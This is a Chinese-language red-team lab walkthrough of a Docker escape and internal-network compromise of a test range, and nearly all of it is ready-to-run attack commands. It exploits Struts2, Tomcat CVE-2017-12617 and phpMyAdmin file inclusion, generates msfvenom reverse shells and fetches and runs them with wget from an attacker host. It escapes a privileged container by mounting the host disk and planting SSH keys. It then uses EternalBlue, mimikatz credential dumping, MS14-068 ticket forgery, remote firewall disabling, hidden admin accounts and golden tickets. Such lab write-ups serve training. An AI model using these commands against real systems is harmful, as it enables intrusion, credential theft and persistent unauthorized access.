记一次docker逃逸学习
字数 1739 2025-08-05 00:16:28
Docker逃逸与内网渗透实战教学文档
环境搭建
靶场环境
- 靶机系统: Ubuntu
- 网络配置:
- 内网IP: 192.168.183.10
- 外网IP: 192.168.1.6
- 域内主机:
- Win7: 192.168.183.129
- Win2008(域控): 192.168.183.130
- Docker服务端口:
- 2001: Struts2
- 2002: Tomcat8
- 2003: phpMyAdmin 4.8.1
外网打点
端口扫描
使用nmap进行初步扫描:
nmap -T4 -sC -sV 192.168.1.6
发现2001、2002、2003三个开放端口。
Struts2漏洞利用(2001端口)
-
漏洞检测:
- 使用漏扫工具检测发现存在S2-045和S2-046漏洞
- S2-045返回HTML无回显
- S2-046能够命令回显
-
尝试上传Webshell:
- 上传JSP文件成功但访问返回404
- 由于路径问题未继续深入利用
Tomcat8漏洞利用(2002端口)
-
漏洞识别:
- 搜索Tomcat 8.5.19漏洞:
searchsploit tomcat 8.5.19 searchsploit -m /exploit/jsp/webapps/42966.py- 确认存在CVE-2017-12617漏洞
-
漏洞验证:
python 42966.py -u http://192.168.1.6:2002/- 访问Poc.jsp确认漏洞存在
-
获取反弹Shell:
python 42966.py -u http://192.168.1.6:2002/ -p pwn- 获得交互型shell但不便于操作
-
上线MSF:
- 生成Linux木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf > shell.elf- 启动HTTP服务:
python -m SimpleHTTPServer- 靶机下载执行:
wget http://192.168.1.10:8000/shell.elf chmod 777 shell.elf ./shell.elf- MSF监听设置:
set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.1.10 set lport 4444 run
phpMyAdmin漏洞利用(2003端口)
-
漏洞识别:
- phpMyAdmin 4.8.1存在CVE-2018-12613文件包含漏洞
-
漏洞分析:
- index.php中存在文件包含代码
- 需要满足五个条件才能成功包含
- 关键点: 对target参数进行二次编码绕过检查
-
漏洞利用:
- 构造payload读取/etc/passwd:
index.php?target=db_sql.php%253f/etc/passwd- 写入PHPinfo并获取session值
- 构造payload包含session文件获取webshell
内网渗透
Docker逃逸
-
信息收集:
- 发现多个网络接口(eth0, eth1)
- 判断为Docker容器环境
-
特权模式逃逸:
- Docker特权模式(--privileged)允许容器访问主机设备
- 操作步骤:
mkdir tmptest mount /dev/sda1 /tmptest ls /tmptest - 生成SSH密钥并写入宿主机:
ssh-keygen -f tmp chmod 600 tmp cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys echo 'ssh-rsa [公钥内容]' > /tmptest/home/ubuntu/.ssh/authorized_keys - SSH连接宿主机:
ssh -i tmptest ubuntu@192.168.1.6
-
上线宿主机到MSF:
- 同Tomcat8部分方法生成并执行elf木马
内网探测
-
路由与代理设置:
route add 192.168.183.0 255.255.255.0 3 use auxiliary/server/socks_proxy set version 4a run- 配置proxychains.conf文件
-
内网扫描:
- 使用UDP探测模块:
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.183.1-255 set threads 20 run- 发现存活主机192.168.183.129(Win7)和192.168.183.130(Win2008域控)
永恒之蓝攻击
-
攻击Win7(192.168.183.129):
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.183.129 run- 成功获取SYSTEM权限meterpreter
- 进程迁移到x64进程(如472)
-
信息收集:
chcp 65001 net user net view /domain- 确认域环境: DEMO
密码获取
-
使用Mimikatz:
- 上传mimikatz
- 令牌窃取获取SYSTEM权限:
use incognito impersonate_token "NT AUTHORITY\SYSTEM" mimikatz.exe privilege::debug sekurlsa::logonpasswords- 获取域凭据: douser/Dotest123
-
检查Ubuntu命令历史:
- 查找可能保存的凭证信息
域控横向移动
-
票据伪造(PTT):
- 使用MS14-068生成票据:
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123- 注入票据:
mimikatz # kerberos::list mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache- 验证票据:
klist -
IPC连接域控:
net use \\WIN-ENS2VR5TR3N -
上传并执行MSF木马:
- 生成正向连接木马:
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444 -f exe -o bind.exe- 创建计划任务执行:
schtasks /create /tn "test" /tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130- 关闭防火墙:
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall- MSF监听:
use exploit/multi/handler set payload/meterpreter/bind_tcp set lhost 192.168.1.10 set lport 4444 run- 提权:
getsystem -
获取域管凭据:
- 上传mimikatz获取: DEMO/qwe123!@#
-
开启远程桌面:
run post/windows/manage/enable_rdp- 使用代理连接:
proxychains4 rdesktop 192.168.183.130
权限维持
-
添加隐藏用户:
net user admin$ qaz123!@# /add net localgroup administrators admin$ /add -
金票维持(可选):
- 使用mimikatz生成黄金票据
关键知识点总结
-
Docker逃逸技术:
- 特权模式逃逸原理
- 设备挂载利用
- SSH密钥写入技术
-
Web应用漏洞利用:
- Struts2漏洞识别与利用
- Tomcat CVE-2017-12617漏洞利用
- phpMyAdmin文件包含漏洞利用
-
内网渗透技术:
- 路由与代理配置
- 永恒之蓝漏洞利用
- 票据伪造攻击(PTT)
- 横向移动技术
-
权限维持方法:
- 隐藏用户创建
- 黄金票据生成
-
工具使用:
- MSFVenom木马生成
- Mimikatz凭证获取
- Proxychains代理工具
本教学文档涵盖了从外网打点到内网渗透的完整流程,重点突出了Docker逃逸技术和域环境渗透方法,可作为红队实战参考。